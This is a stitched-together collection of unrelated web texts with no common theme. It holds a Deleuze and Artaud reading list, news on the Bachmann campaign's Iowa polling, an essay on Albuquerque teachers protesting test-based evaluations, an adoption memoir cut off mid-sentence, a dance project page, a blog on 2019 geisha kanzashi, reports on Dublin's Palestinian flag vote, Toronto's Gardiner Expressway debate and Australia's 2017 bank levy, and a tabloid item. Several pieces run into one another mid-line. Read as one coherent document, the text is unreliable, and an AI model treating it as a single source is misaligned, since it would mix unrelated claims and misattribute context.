Bourdieu,P. (1984) Distinction. A Social Critique of the Judgment of Taste. London: Routledge and Kegan Paul Deleuze, G. (2008) [1964] Proust and Signs, trans. by Richard Howard, London: Continuum. See p. 117. My notes: http://www.arasite.org/delproust.html Deleuze, G (1990) The Logic of Sense, trans. Mark Lester, edited by Constantin Boundas, New York: Columbia University Press. See pp.87–93. My notes: http://www.arasite.org/logofsense.html Deleuze, G. 'Coldness and Cruelty', (published with Sacher-Masoch, L. 'Venus in Furs'). Both are combined in a volume called Masochism (1991) New York: Zone Books. My notes: http://www.arasite.org/delmaso.html Deleuze G and Guattari F (2004) [1987] A Thousand Plateaus, London: Continuum. My notes to Plateau 6: http://www.arasite.org/TPch6.html Deleuze G and Guattari F (1984) Anti-Oedipus. Capitalism and Schizophrenia, London: The Athlone Press. See pp: 281, 283, 327–9, 338, 364. My notes: http://www.arasite.org/antioedipus.html Foucault M. (1977) Discipline and Punish: the birth of the prison, London: Penguin Books Ltd. My notes: http://www.arasite.org/foucpris.htm
Guttorm, H. et al. (2013) Encountering Deleuze: Collaborative Writing and the Politics of Stuttering in Emergent Language. International review of Qualitative Research, 5 (4) 377--98.
Harris, D. (nd) The Dave Harris Entry in the Summarize Proust Competition, http://www.arasite.org/summarizeproust.html Holmes, B. (2009) Guattari's Schizoanalytic Categories. https://brianholmes.wordpress.com/2009/02/27/guattaris-schizoanalytic-cartographies/
St Pierre, E. (2004) ‘Deleuzian Concepts for Education: The subject undone’, in Educational Philosophy and Theory, 36(3) :283-96. My notes: http://www.arasite.org/educationstudies/StPierre.html
Surrealism-plays (nd) A. Artaud: To Have Done with the Judgement of God. http://www.surrealism-plays.com/Artaud.html Vaughan-Johnston, T. (nd) A Artaud: To Have Done with the Judgement of God. http: www. youtube.com/watch?v=0jj98AOeqws Films: My Life and Times with Artaud https://www.youtube.com/watch?v=yn-IvqV36jg Artaud the Momo https://www.youtube.com/watch?v=rG-iBzA3b14 (director Mordillat, Laura Productions, USA, 1995).ADVERTISEMENT
Rep. Michele Bachmann (R-Minn.) had a good summer, moving from second-tier Republican presidential candidate to viable frontrunner and winner of the much-watched Ames Straw Poll in Iowa. But according to a new poll from Public Policy Polling (PPP), Bachmann is stuck in third place in must-win Iowa, behind new frontrunner Rick Perry (22 percent) and Mitt Romney (19 percent). Bachmann, who polled at 18 percent, also saw the number of Iowans who view her unfavorably skyrocket — from 16 percent in June to 35 percent now. "The day of her win in Ames may be remembered as the peak of her campaign," says PPP's Tom Jensen. Is this really the beginning of the end for the Bachmann campaign?
Yes. Bachmann's done: Like fellow flash-in-the-pan candidates Herman Cain, Donald Trump, and Newt Gingrich, "Bachmann's moment has come and gone," say Evan McMorris-Santoro and Kyle Leighton at Talking Points Memo. And it's not just PPP's survey: Other polls and anecdotal evidence shows her rapidly losing supporters to Perry, who is starting to blunt his "sharper policy edges" while Bachmann builds a "reputation as an extremist who says silly things."
"Peaked? Polling shows Bachmann support withering..."
Hold on. Bachmann is still better off than she used to be: It's true that PPP's numbers aren't great for Bachmann, says Katrina Trinko at National Review. But it's a Democratic polling firm, and the 5.5-point margin of error actually puts her in an essential tie with Perry and Romney. More importantly, while the Ames Straw Poll arguably should have pushed her above 18 percent in Iowa, she has significantly "increased her support since June," when PPP registered her at 11 percent.
"Perry leads in Iowa"
Plus, it's simply too early to write Bachmann off: Third place isn't good enough for a candidate who absolutely needs to win the Iowa caucuses, says Tim Murphy at Mother Jones. But "don't count Bachmann out just yet." It's "very, very early" in the race, and Perry is "riding the wave that comes with a high-profile announcement tour." His numbers will fall. But even if they don't drop much, caucuses aren't "straight-up popularity contests; they're time-consuming affairs that rely heavily on organization." In that respect, Perry may actually be too late to match Bachmann's critical Iowa ground game.
"Poll: Bachmann peaked at Ames, birthers not going away"Activism Is Good Teaching
Reclaiming the profession
It was a sunny afternoon in May 2015. Several dozen Albuquerque Public School (APS) teachers gathered around a metal garbage can outside district headquarters just a few minutes before the final school board meeting of the year. As local news cameras rolled, the teachers came forward one by one to burn their end-of-year evaluations. Like many states across the United States, New Mexico has adopted a value-added model of teacher evaluations, basing 50 percent of the overall score on student test scores. Whether rated as “minimally effective” or “exemplary,” the teachers individually and collectively made a powerful case for why their evaluations were arbitrary, unreliable, and deeply damaging to the profession of teaching.
As I watched from sidelines, I recognized Michelle Perez and Amanda Short, two teachers from High Desert Elementary, a high-poverty school rated “F” by the state of New Mexico. The event, which Michelle helped organize, occurred at the end of a tumultuous school year, characterized by drastic decreases in teacher autonomy and a growing culture of surveillance and fear. Michelle worked on the event because “these evaluations are not a reflection of a teacher’s abilities and should not determine our worth as professionals.” She wanted to create a way teachers could share their frustration with the public as well as with the local school board, who, for the most part, have been complicit in the policies mandated by the New Mexico Public Education Department (PED).
High Desert Elementary School is a Title I school with 100 percent of its students qualifying for free or reduced-price breakfast and lunch. The diversity of the school’s population is representative of the state: 5 percent African American, 30 percent white, 55 percent Latina/o and 10 percent Native American; 33 percent are English language learners and 29 percent qualify for special education. Students live in Section 8 housing, in motels along the interstate, and in homes close to the local university. Throughout their teaching careers at the school, Michelle and Amanda have noticed a decline in diversity due to decreasing enrollment among middle-class families, a demographic shift that can be attributed to the poor grades the school has received.
Michelle and Amanda, who teach 2nd and 4th grade respectively, are veteran teachers with an impressive array of credentials. Michelle has a master’s and endorsement in reading instruction and helped write the district’s 2nd-grade math curriculum. Amanda is National Board certified. Both teachers have spent their careers at High Desert Elementary in part because of a desire to serve children from historically marginalized backgrounds. Last spring, both received overall evaluations of “minimally effective” on the state’s evaluation rubric. Their principal gave them failing grades in the category of “professionalism” due to their ongoing activism against high-stakes accountability policies.
For example, on Amanda’s evaluation, the principal wrote: “Because she is respected by the adults that she works with, her dissatisfaction with requirements has been shared with others resulting in similar actions.... I feel that she has had a negative impact on the culture of [High Desert] this year” and “Ms. Short has been very vocal in speaking out against mandates from the district level, which has led to discord in the building and which has even moved to the district level.”
A School-University Collaboration
My colleagues from the university, Rebecca Sánchez and Kersti Tyson, and I met Michelle and Amanda through a school-university partnership that originated with plans for a curriculum project on Japanese lesson study. Soon, however, the restrictive policy environment at every level of education compelled us to join forces to resist. Over the past two years, we have worked collaboratively to oppose key mandates, march on the state capitol in support of teacher autonomy, and design classroom initiatives based on authentic inquiry and critical engagement with elementary students.
As educators who work at various points across the P–20 spectrum, we have all noticed a decline in teacher autonomy and a notable absence of teachers’ voices in shaping policy. As this phenomenon has intensified, there is a growing need for teachers to reclaim our profession though activism. Although schools, administrators, districts, and the state increasingly define professionalism as a willingness to comply with mandates, no matter how problematic, we offer a different definition: professionalism as activism.
Professionalism as activism recognizes that we enter our role as teachers in a democratic society with a set of commitments and responsibilities to advocate for children and for ourselves as educators. That means we must speak against policies and leadership decisions that undermine our work and devalue our expertise about children and learning. As one popular protest sign states, “You cannot test your way to a great education, you teach your way there.” Amanda and Michelle were marked down for speaking up, but we see their acts of opposition and resistance as a necessary means of preserving intellectual integrity and democratic principles.
Professionalism as activism, then, is characterized by action to defend and promote meaningful instruction and collaboration among teachers, action to inform families about current reform initiatives and their rights, and action as protesters against unsound policies that compromise the integrity of teaching and learning in our public schools.
Professionalism can be used as a class marker—a way to divide teachers from teaching assistants, cafeteria workers, and others whose work is integral to creating schools that serve all students’ needs. We recognize this as problematic. Yet we use the term professionalism in this article to argue that teaching should have validity as a life’s work, and that in the current sociopolitical context, professionalism includes fighting for good education.
Bubble Sheets or Meaningful Assessment?
The district allocated more than 40 days in the spring semester for PARCC (one version of the Common Core test) alone. At High Desert, not only do teachers administer multiple district and state assessments, they are also required to spend valuable planning time filling in forms and submitting “data” for schoolwide analysis. When teachers were asked this year to conduct yet another districtwide assessment, complete with manual entry of data into bubble sheets, Michelle and Amanda gave the tests but delayed completing the bubble sheets while they asked the district how it planned to use the assessment. Amanda emailed the district’s data department multiple times, asking them to produce the document stating teachers were required to administer these assessments. Michelle contacted the district and superintendent seeking more information about the purpose of the assessment. The district was only able to produce one document, which said the English/ Language Arts district tests were “recommended” (not required); there was nothing about the math test. Both teachers believed that bubbling in sheets with data that ultimately does not inform instruction is a detrimental use of their time.
In previous years, both teachers used their collaborative planning time to design performance assessments. One powerful example from Amanda’s class was an open house culminating a unit on New Mexico history. Because Amanda’s class included students who identify as Native American, Chicana/o, and Mexican, she wanted to ensure that each child’s history was included in the unit as they learned about the Spanish conquest of Mexico/New Mexico and discussed how this drastically changed the lives of the cultures who had lived there for centuries. So, for example, students first encountered the story of the Spanish arrival at Zuni Pueblo through a video shown at the Indian Pueblo Cultural Center that highlights the perspective of the Zuni people. Students then read a text from the social studies curriculum describing the same event from a mainstream perspective. Amanda prompted students to compare the two stories and discuss whose stories were privileged and whose were silenced in the social studies curriculum. At the final open house, students presented on the history, voices, and critical perspectives they had learned. This assessment offered all students multiple ways of showing their knowledge while providing Amanda with a well-rounded understanding of her students’ abilities.
An example of meaningful assessment from Michelle’s classroom was part of a six-week literacy unit on folktales. Students learned about the different elements of folktales, explored several versions of The Three Little Pigs, and used a graphic organizer to compare and contrast the different versions. Students then created their own version of The Three Little Pigs. They were writing creatively and demonstrating their understanding of the unit content without using a fill-in-the-bubble assessment. As Michelle notes: “I don’t need a colored bar graph to help me determine how well my students performed on the assessment. I can have a conversation with anyone at any time about how my students are progressing, as well as the areas in which they need more support.”
No More Bubbling!
In an act of collective resistance, several teachers, including Amanda and Michelle, did not fill in the bubble sheets. Instead, they used the time to plan engaging and interactive lessons for their students, and meaningful assessments. School leadership did not receive this show of professional activism favorably. The teachers persisted in delaying compliance even when told by the principal that they would be reported to district headquarters.
When Michelle and Amanda were reported to the district, they initiated a meeting with the superintendent. During the meeting, he was unable to articulate the purpose of the assessment and could not tell the teachers how it would be used. The teachers were given an extension to submit their “data” while the superintendent looked into their request. After the meeting, both teachers received letters from the superintendent citing that they had “failed to administer the test to your students... and if it is not administered your conduct will be in violation of the district’s job description; the district’s Employee Handbook Standards of Conduct; and the New Mexico Public Education Department Code of Ethical Responsibility of the Education Profession, and you may be subject to disciplinary action.” To this day, the district has not provided them with an answer as to how the assessments are used.
Transparency with Students and Families
The corporate education agenda is shrouded in powerful slogans and convincing rhetoric. Many families accept policies, particularly related to testing, as neutral or beneficial without realizing the ways in which corporations benefit from the never-ending cycle of testing. To make matters worse, many teachers are bullied into not speaking to families about these policies.
Shortly after the school received its F rating, Amanda organized a research unit on school grading. Concerned about the extent to which her students had internalized the F grade, Amanda decided to have the students create a newspaper with the school grade as the theme. Rebecca, Kersti, and I were invited to come to her classroom as volunteers to help the children with the different phases of research. The children interviewed teachers and administrators, assessed the school facility, and spoke with other students about the positive and negative aspects of their school. The children then wrote articles and published them as a newspaper that they disseminated throughout the school community. It included headlines like “Standardized Tests and Students” and “F Is for Fantastic.”
Through their research, the children were able to report that the school grade assigned to them by the PED did not accurately reflect the rigorous instruction and caring community that characterizes High Desert. One of Amanda’s 4th-grade students, Ian Campen, summarized what he and many of the students learned in a comic strip (see p. 25). In addition, both Michelle and Amanda provided families with information about the process of opting their children out of state and district testing. This included clarifying parental rights and dispelling misinformation about how parents’ decision to opt out might negatively impact individual teachers or the school as a whole. Michelle explained: “I told parents to do what is best for their child and not to worry about our school grade or what negative impact it could have on me. I’m not going to misinform parents or stay silent because I might get a bad evaluation.”
Amanda provided families with information about the amount of class time spent on testing, directed parents to links for opt-out forms and, like Michelle, encouraged them to make a decision based on the best interest of their child.
This commitment to openly discussing the possibility of opting out pushed Michelle and Amanda into unsettling territory. District policy requires teachers to sign test security documents promising not to disparage PARCC testing. Educational scholar Diane Ravitch has likened such oaths to McCarthy-era loyalty oaths.
Michelle and Amanda posted their “minimally effective” end-of-year evaluations outside their classroom doors, confronting the ways that evaluations are used as a shaming mechanism to promote compliance. Both teachers also sent their evaluations home with students as part of their final classroom newsletters, alongside the rich commentary of their students highlighting what they had learned and what they would miss about their classrooms. Many parents wrote the teachers supportive notes, expressing outrage at the negative evaluations and committing to speaking out about the fallacies inherent in the evaluation system. Both teachers read their evaluations to the board during a public forum. Michelle shared the “evidence” that she had received for the low score her principal gave her (2 out of 5 points) in Domain 4—Professionalism:
She very vocally disagrees with anything involving testing and assessment, which she believes is in excess. The instructional coach reports that she is argumentative in data meetings because she is in opposition to what is being required of her. Ms. Perez is respected by her colleagues. She has been very active in criticizing [the district] and their requirements this year, which in turn has created turmoil in the building. She has had difficulty adapting to the use of Stepping Stones [the district’s newly adopted math curriculum, distributed to teachers the week before school started] and its assessments.
In most settings being respected by one’s colleagues is a positive indicator; in this instance, the respect that Michelle garners was considered subversive and threatening to a culture of compliance. The school board deflected responsibility to the PED, indicating that their hands are tied when it comes to testing. But ongoing testimony at school board meetings by many teachers has pushed the board to begin to take a stand against other corporate initiatives. For example, after consistent pressure from teachers and community members, the board recently rejected a proposal supported by the PED and sponsored by, among others, the University of Virginia Darden School of Business to “turn-around” five schools in the district.
Protest as Professionalism
The burning of evaluations was not the first collective protest last year. Teachers, parents, university faculty, and community members participated in countless instances of shared protest. For example, during PARCC testing, protesters gathered each morning before the start of the school contract day to raise awareness about PARCC testing and corporate school reform. As families approached the school to drop off their children, the protesters had an opportunity to talk with them about the problems with PARCC. In addition to raising community awareness about standardized testing, for teachers those discussions alleviated some of the stress associated with having to administer a test that violated their professional ethics. The protests lasted for the duration of the testing window, almost 40 days.
One thing that has become clear from our collaboration is that teachers and teacher educators need to rely on each other to foster professionalism as activism in our respective settings. Cultivating a socially just and equitable society is as much about our interactions as it is about our actions. By showing up in solidarity and building bridges between schools and universities we aim to nurture the potential of our students, their families, our schools, and our democracy. ◼I learned I was a black market baby when I was 14. There was no legal adoption, and it’s still unclear if money had changed hands. The parents who took possession of me changed my identity and pretended to be my biological parents. The deception was deliberate and deep.
It came to a crashing end when my adoptive mother’s lawyer took it upon himself to tell me the truth. For years, after that bombshell, both my adoptive parents said it was a lie, and that I was their “real” child. The reason he told me about the fake adoption was because my adoptive mother was on her deathbed. She had six months to live according to her doctors. The lawyer took pity on me fearing what would happen if my adopted mother died before I could talk to her about my situation. It turned out she survived until I was in my late teens, but she had a rough time of it: her leg amputated, she finally lapsed into a coma and spent her last year in a hospital, kept alive by machines.
Toward the end of her life, she told me I was not her daughter in the most unloving way possible. From her wheelchair, she chased me out of her home brandishing a butcher knife.
She told me to leave her home and never return. She didn’t offer any information about how I came into her life. She left me with no sense of my lineage or why she bitterly raised me as her daughter. After inquiring carefully within my adopted family, it was clear that only my adoptive father, whom I was close to, knew about my origins. He guarded the secret all the way to his death bed. He had died from cancer before I had the chance or maturity to ask the right questions.
The difficulty with secrets is that the truth only comes when you ask the correct questions. Like a politician, my father was a master at deception. He never let loose the secrets. He was cunning and smart, but most of all, he was mysterious. Long after he died, I researched what little I knew of him. His past was filled with friends indicted for mafia crimes committed across continents. Was my father connected to that? I will never know for sure, but I would call my adopted father “a person of interest” in today’s language.
About five years ago, a thin manila envelope suddenly appeared on my doorstep. My late father’s lawyer—a one-term congressman—had sent me my file, which only deepened the mystery. Much to my disappointment, the envelope contained few facts about my biological parents. The bulk of contents was about the unconventional upbringing I had endured with my adoptive family. My adoptive parents had divorced when I was little, and my mother was always worried they might take me away. Who “they” were is still a mystery. There were letters from California, Hawaii, and mentions of quick departures abroad.
As a child, I was taken out of the United States to be raised in Australia and then abducted by family members to England only to have Scotland Yard inquire about my welfare.
Using the sparse information I had, I worked with a highly regarded TV search personality who was interested in my story. Through my research I discovered my adopted family had a salacious past, some became well-known in the entertainment industry. Two people attempted an unsuccessful murder. When I asked family members about the attempted murder, they confirmed that the story was true without shock or surprise. However, when I asked about my origins, I was hit with a brick wall of silence.
The more I asked about my origins the less my adopted family would talk to me. My aunt went as far as telling a private investigator that I didn’t exist. I was gutted, reduced to being non-existent in the only family I knew.
These people were not particularly warm to me over the years, but they were my only family. Now I officially didn’t exist to them. Years of detective work on my part resulted in nothing. I was no closer to knowing who my biological family was. Then the holy grail of research became available, DNA testing.
ANCESTRY TRACKING THROUGH DNA
I dipped my toe into the water. I tested on 23andMe. I didn’t have any close DNA matches, but I had opened the floodgates to the brave new world of DNA genealogy. I found out I was English, French, Polish, and Ashkenazi Jew most likely with Russian and Ukrainian origins. This new information was groundbreaking.
For the first time, I had a connection with my distant past. I still didn’t know who my biological parents were, but at least I had scientific proof that I did actually exist. DNA also told me that my maternal line was English and French and non-Jewish so that at least gave me a place to start my new research. Next, I tested at FTDNA (Family Tree DNA) and got more matches, all too distant to provide any solid clues about my biological parents. FTDNA further confirmed my European ancestral background.
My next step was AncestryDNA. Bingo! I got a match to a first cousin, once removed. That match was open to talking to me, and while we had no idea how I fit into his tree, he accepted me, more so than the family who raised me. For a year, we struggled with our research always hitting dead ends. Then I got three more DNA matches on AncestryDNA and after a year, we learned that all these people were in the same rather large, complicated tree.
MY BIOLOGICAL MOTHER
Then it happened … I figured out who my biological mother was! She had changed her name* several times, and her paper trail was sparse at best, but DNA doesn’t lie. I found her!
Then, I was told she died four years earlier and had lived half an hour from me. That blow was hard, painful, and knocked the wind out of me. I had driven past her home thousands of times, never knowing I was that close to my biological mother all these years.
Fearful and excited I drove to where she had lived. Her name was still on the mailbox. Was it left there for me to see and confirm I had indeed found my biological mother? I spoke to neighbors who told me I reminded them of her.
I was so close to her yet separated by the divide of death, to never look into her eyes or hear her voice. I looked down and told myself she probably once stood where I now stood. It was a hollow victory. I hurt.
The next step was to learn about her and find my biological father. I was again hit with a wall silence. It turns out my mother had a stage name, Heidi Parks. She was |
Snow investigates the transcendent possibilities of body and mind. By day, performers in the installations The Landscape and (Memory of) Snow Machine labor at searching for landscapes, retrieving lost moments of time and archiving the accumulating results. These simple tasks involving the body, video, and language are quietly focused and mysterious. In the evening, the dance is performed without clothing and accompaniment to strip it of layered-on meaning and emotion. Presented instead is an intimate and formally complex choreography with elusive performative demands and textures.
As Talya said about something Molly was working on yesterday in rehearsal, “that material is weirdly powerful.”
Having grown-up in Southern California, for me snow has always been an exotic substance. Forgetful Snow channels the atmospheric phenomena of snow and transmutes it into action, being and process to describe the landscapes, textures, and state of mind created by falling snow. Its choreography and other activities invite attentive observation—encouraging the audience to leave the world behind to continually experience anew what’s in front of them.
January 21, 2014: “This winter, today, I looked around me at the landscape, mostly urban, but in the park too and I really tried to see the snow. I ask myself if Forgetful Snow is still an apt title for the work now nearly complete. I see a chaotic lack of intention similar to the one we’ve put forth in the dance. Bare trees softly edged with clean fluff and dirty piles pushed aside melting into pools of slush. Seeing this accumulation I feel viewers will be convinced that the work fulfills its title.”
_______________________________
Below are clips from early on in the process. Only some of this movement material is in the final version of Forgetful Snow (the dance), but the essence of this exploration, the feel of it, is definitely a part of the finished worked.
You'll need an HTML5 capable browser to see this content. Play Replay with sound Play with
sound 00:00 00:00
Antonietta Vicario and Talya Epstein improvising/generating material, on August 8, 2012, during our Lower Manhattan Cultural Council residency, in an office suite near Wall Street.
You'll need an HTML5 capable browser to see this content. Play Replay with sound Play with
sound 00:00 00:00
Molly Lieber and Maggie Jones on June 1, 2012 improvising/generating material.
_______________________________
SPECIAL AWARDS kindly provided by frequent collaborator Martin Kersels and Mary Collins:
Martin Kersels signed Mason Jar (pint) with "Tumble Room" Snow (detritus from 2011, Tinguely Museum, Basel)
Tumble Room Snow consists of small pieces created as Tumble Room (Basel 2011) rotated - tossing, tumbling and grinding the contents of the room. Click photo to see.
Signed Catalog - Martin Kersels: Heavyweight Champion, Ian Berry (2007)
Melinda Ring's "Huh?" (2007) included in the catalog.
Martin Kersels "Falling 9" Refrigerator Magnet
Martin Kersels "Tossing a Friend (Melinda 3)" Refrigerator Magnet
"Melinda Ring and I have collaborated on many projects over the last 25 years. It has always been a pleasure to work with her as I greatly admire her ideas, creative spirit, and work ethic. I believe that FORGETFUL SNOW will be a challenging work of great beauty. Please support Melinda's kickstarter campaign. I am supporting her with a contribution, and also by making this special Martin Kersels swag available. Get your holiday shopping done early!!" - Martin Kersels
Forgetful Snow was commissioned by the The Kitchen, NYC, and developed during residencies at Mount Tremper Arts, Lower Manhattan Cultural Council and Gibney Dance Center.On The Ninth Day Of Fun I present… something a bit different? Last year I covered the meaning and history behind the New Year’s kanzashi that are prominent features in three of the five kagai. So this year, we’ll be looking specifically at the design for 2019 and the meaning behind it. As always, all kanzashi are from Kazurasei.
Image courtesy of Kazurasei.
Matsu (松) - Pine
Ezogiku (蝦夷菊) - Chinese Asters
I am going to completely admit that I find 2019′s design to be a bit lacklustre compared to recent years. It’s very, very traditional, which isn’t a bad thing, but there have been such unique additions, like 2018′s bases for the plum blossoms, the pearl centers for the ezogiku in 2017, the adorable cranes for 2016, and I could go on. The gold wire that the pine sits on, along with the addition of small pieces of mizuhiki on each pine “petal” and the metallic thread used to wrap the pine needles, does make it very shiny though. The other issue that I have is that the actual design doesn’t have pine needles, but is rather just large clumps of pine. It also looks very similar to the 2012, which is identical to the one seen above but with yellow centers of the ezogiku. You could also make a case for the colors of the pine being slightly different as the senior pine in 2012 were green and 2019′s are orange and pink, but the junior versions for both years are still red and green. For comparison’s sake, here’s the 2012 version:
Image courtesy of Risha Soul.
And here’s 2019:
Image courtesy of Tetsuto JP.
However, I digress as the symbols were almost certainly chosen for their auspicious nature and hope for the coming year. Back in 2012 Japan was going through some rough financial times, so hoping for strength, which is what pine symbolizes, makes perfect sense. In 2019 we’ll see the abdication of the emperor and a new era for the first time in 31 years, so pine, also being a symbol of masculinity, makes a great deal of sense here too. Pine is emphasized so much that it’s even appearing with the rice, dove, and plum blossom maezashi that all maiko and geiko wear, as seen below.
Image courtesy of Kazurasei.
Since 2019 is also The Year of The Pig/Boar in the traditional Asian zodiac the pine makes a great deal of sense here too. In Japanese this year is actually called “The Year of The Boar” as they do not use the term “pig” since pigs are not native to Japan, but they sure do have plenty of wild boar! Not only are wild boars traditionally found in forests, but 2019 is the year of the Earth/Wood Boar. In the traditional Asian zodiac all signs correspond with one of five elements: water, fire, air, earth, and metal. However, you’ll sometimes see people translate earth as “wood” or metal as “earth” and things can get confusing really quickly. The symbol for earth during this time is “土,” which is the same in Japanese as it means “dirt,” but since that can get confusing the “earth” is sometimes swapped for “wood.” What’s more confusing is that the kanji for tree “木” looks like an upside down version of “土.” So, a woody motif for a woody year along with a woodland creature actually makes the symbolism pretty on point in the end ^^DUBLIN IS SET to see the flag of Palestine fly over City Hall for a month in solidarity with the people of Palestine “living under occupation”.
The motion, proposed by People Before Profit Alliance Councillor John Lyons, saw cross-party support and passed by majority at yesterday’s Dublin City Council meeting. Forty-two councillors voted in favour of the motion, while 11 voted against and seven abstained from voting.
The flag will fly over City Hall for a month, beginning on 15 May. This date marks “Nakba Day”, Israel’s Independence Day. Sligo County Council also recently passed a motion to fly the flag of Palestine from their council building for a month.
Councillor Lyons said that the move will be a “small gesture of solidarity from the elected representatives of Dublin City with a people struggling for self-determination, freedom and dignity in the face of the most horrendous Israeli occupation and apartheid system.”
“Tonight’s gesture of solidarity is to show that we care, that we support Palestinians in their fight for self-determination, freedom and justice,” he said after the meeting.
The motion read:
“Noting recent reports of diplomatic developments by the Irish state towards full recognition of the state of Palestine, aware also that Ireland accorded the Palestinian delegation in Dublin diplomatic status in 2014, the same year that witnessed both Houses of Oireachtas pass motions in support of Palestinian statehood, this city council will fly the flag of Palestine over City Hall for the month of May 2017 in support of the above diplomatic moves and as a gesture of our solidarity with the people of Palestine living under occupation in the West Bank and Gaza, with the Palestinian citizens of Israel denied basic democratic rights and with the over 7 million displaced Palestinians denied the right of return to their homeland.”
Irish4Israel condemned the decision of the city council and stated that “such a move will have an extremely negative impact on Dublin’s international image and tourism.”
“It is quite staggering and almost admirable that these public figures spoke with such arrogant conviction, while having such little historical knowledge of the conflict and its complexities. Most rattled off a few rehashed old buzzwords while remaining comfortable in their simplistic black and white world view,” the organisation said.
In contrast, the Ireland-Palestine Solidarity Campaign (IPSC) welcomed yesterday’s announcement.
IPSC chairperson Fatin Al-Tamini, a Palestinian-Irish citizen thanked the Dublin City and Sligo County Councils for passing their motions.
“It is fitting that the flag will begin flying on May 15th, ‘Nakba Day’, or ‘the Day of the Catastrophe’, when we commemorate the forcible expulsion of over 750,000 indigenous Palestinians from their homeland between 1947 and 1949 to facilitate the creation of the apartheid state of Israel on 78% of historic Palestine.
“It is also fitting that the flag will remain in place until the first week of June, which will mark the 50th year of Israel’s ongoing military occupation and illegal colonisation of the West Bank and Gaza,” she said.Toronto chief planner Jen Keesmaat is calling for the removal of the eastern Gardiner, putting her at odds with the mayor on one of the most important issues facing the city.
"This is a decision that needs to be made by looking into the future and thinking about the kind of city we want to be in the future," she said Friday. "We have an opportunity to create a grand new landscape in our city."
Ms. Keesmaat made clear her position at a conference hosted by the Cultural Landscape Foundation. It emerged in an onstage conversation with former chief planner Paul Bedford, who is also in favour of removing the Gardiner east of Jarvis.
Story continues below advertisement
Mayor John Tory has spoken strongly for keeping the eastern Gardiner as an elevated highway. He says the expense of doing so – which will cost about twice as much, over the long term, as removing it – is a reasonable price to pay to avoid slowing some drivers.
The choice about the eastern end is being forced by the age of the elevated expressway, which is deteriorating. What to do with it is a decision that will shape the eastern downtown for decades to come. It's the biggest issue to be weighed by council so far this term.
"We're at a moment right now that is a seminal moment," Ms. Keesmaat said during the conference. "A decision needs to be made."
The decision over the eastern stretch – with a price tag that could range up to close to $1-billion – is set to come to council in early June. And until Ms. Keesmaat spoke up it was looking as though council would make the decision without a clear opinion from senior city staff.
Tanzeel Merchant, executive director of the Ryerson City Building Institute, worries that there is a growing trend of civil servants keeping quiet.
"There is a tendency, across the board, for staff to say less and less, fearing recrimination," he said. "But I think it's a dangerous precedent because evidence-based policy is essential to making good decisions."
There are two options currently on the table: replacing the elevated Gardiner east of Jarvis with a street-level boulevard or re-building it in the same place, with some adaptation to the ramps.
Story continues below advertisement
Story continues below advertisement
Replacing the elevated roadway with a boulevard will cost $461-million to build and maintain over its life, while keeping it – an option dubbed the hybrid – will cost $919-million over the same period. Removing it will free up more land for development but will mean delays of a few minutes for a small group of drivers, according to the city's environmental assessment.
Ms. Keesmaat said after her onstage remarks that she was professionally obliged to speak up for what she believes is in the best interests of the city.
"From an official-plan policy perspective, from our secondary-plan perspective for the waterfront, which focuses on making connections and complete communities and removing barriers, the policy framework that has been firmly established, and that in city planning we are responsible for implementing, very clearly leads to this conclusion," she told The Globe and Mail.
Mr. Tory said that Ms. Keesmaat is "perfectly entitled" to her views in her role as chief planner, but reiterated his support for rebuilding the elevated highway.
"I made a difficult decision but one that I think is right overall for that balance between the economy of the city, the ability of people to get around, and the ability to develop lands both here right on the waterfront, and nearby the waterfront," he said at an unrelated press conference on Queens Quay Friday.
"We're going to have a debate, and we'll hear from lots of people, and we'll make a decision. But I've sort of set out my own position. She's set out hers."
Story continues below advertisement
Mr. Bedford, the former chief planner, said such differences of opinions were standard when he was in the role. "I disagreed with the mayors of the day on all kinds of issues," he said. "That's your professional obligation to say what you think."
One year ago, city staff recommended taking down the eastern Gardiner. After taking time to study yet another option, this month they presented a report that didn't make a recommendation.
That report was followed by a meeting of the key Public Works and Infrastructure committee. After a full day of debate and discussion, it opted not to take a position, punting the decision to the full council next month.
With a report from Ann HuiSarah Massey would be just another 33-year-old mother-of-two from Chicago — if it weren't for the fact that she also happens to have the world's biggest butt.
Though not officially recognized by the prudes at Guinness, Massey's massive 7-foot wide keister requires a pair of 10XL trousers that would komfortably fit all of the Kardashian sisters kombined.
Massey insists the condition that resulted in her museum-sized bubble butt is hereditary — "there's nothing I can do about it," she says — but that her love of ice cream certainly contributed to its maintenance.
Though she grew up feeling ashamed of her dimensions, adulthood taught Massey that many men admire curvy girls.
She told Barcroft Media the discovery came about by accident: She had taken a few photos to document her weight loss, which a friend then uploaded to Facebook.
"They got so many likes that he asked if we could do some modelling pictures, then those pictures went viral," she recalled.
Massey would still like to lose some weight, but says she now has a new-found appreciation for her natural assets, and fervently defends them against anyone who calls them fake.
"Some people can't believe one person can have this much butt," she told Barcroft. "Because I've got a relatively small frame on top they say, 'that can't be real.' I carry this weight with me all the time, everywhere I go, it's definitely not fake. Big booties are just in my blood."
[H/T: Dlisted, video via Barcroft TV]• Businesses employing foreign workers will pay total of $1.2bn to fund skilling Australians fund for 300,000 apprentices and trainees
• Four largest banks will each pay up to $400m every year, Treasury says
Big banks will be hit with a $6.2bn levy and businesses employing foreign workers will pay $1.2bn in two massive revenue-raising measures from corporate Australia unveiled in the budget.
The levy on businesses using foreign workers will fund up to 300,000 apprenticeships and traineeships over four years but the bank levy is a straight tax grab to go into general revenue.
Banks and financial institutions will also be policed by a new consumer body and subject to other accountability measures, as the government attempts to find a credible alternative to persistent demands for a banking royal commission.
Australia budget 2017: Scott Morrison to tax banks and increase Medicare levy – politics live Read more
In his budget speech the treasurer, Scott Morrison, said the bank levy was a “fair contribution from our major banks, similar to measures imposed in other advanced countries” and said it would “even up the playing field for smaller banks”.
The bank levy will apply from 1 July to deposit-taking institutions with licensed entity liabilities of $100bn or more, indexed to gross domestic product.
The big four banks – ANZ, Westpac, NAB and Commonwealth – will each pay in the region of $300m to $400m every year under the levy, Treasury officials said. Only they and Macquarie, the fifth-largest bank, will pay the levy at present, which does not apply to superannuation funds or insurance companies.
Banks will have to pay 0.015% of their licensed entity liabilities each quarter, for a total levy of 0.06% a year. It will raise $6.2bn over four years.
Morrison said the measure would not apply to home loans and customer deposits of less than $250,000, meaning that unlike the previous bank deposit tax it was not a levy on ordinary deposit accounts.
The government would create a Australian financial complaints authority, to “resolve disputes and obtain binding outcomes” from banks and other financial institutions, Morrison said. It would be “more accessible and affordable” for customers.
Afca will be industry funded and the budget papers say it will be “free, fast and binding” and hear disputes of higher value than the three existing schemes it replaces – the financial ombudsman service, the credit investments ombudsman and the superannuation complaints tribunal.
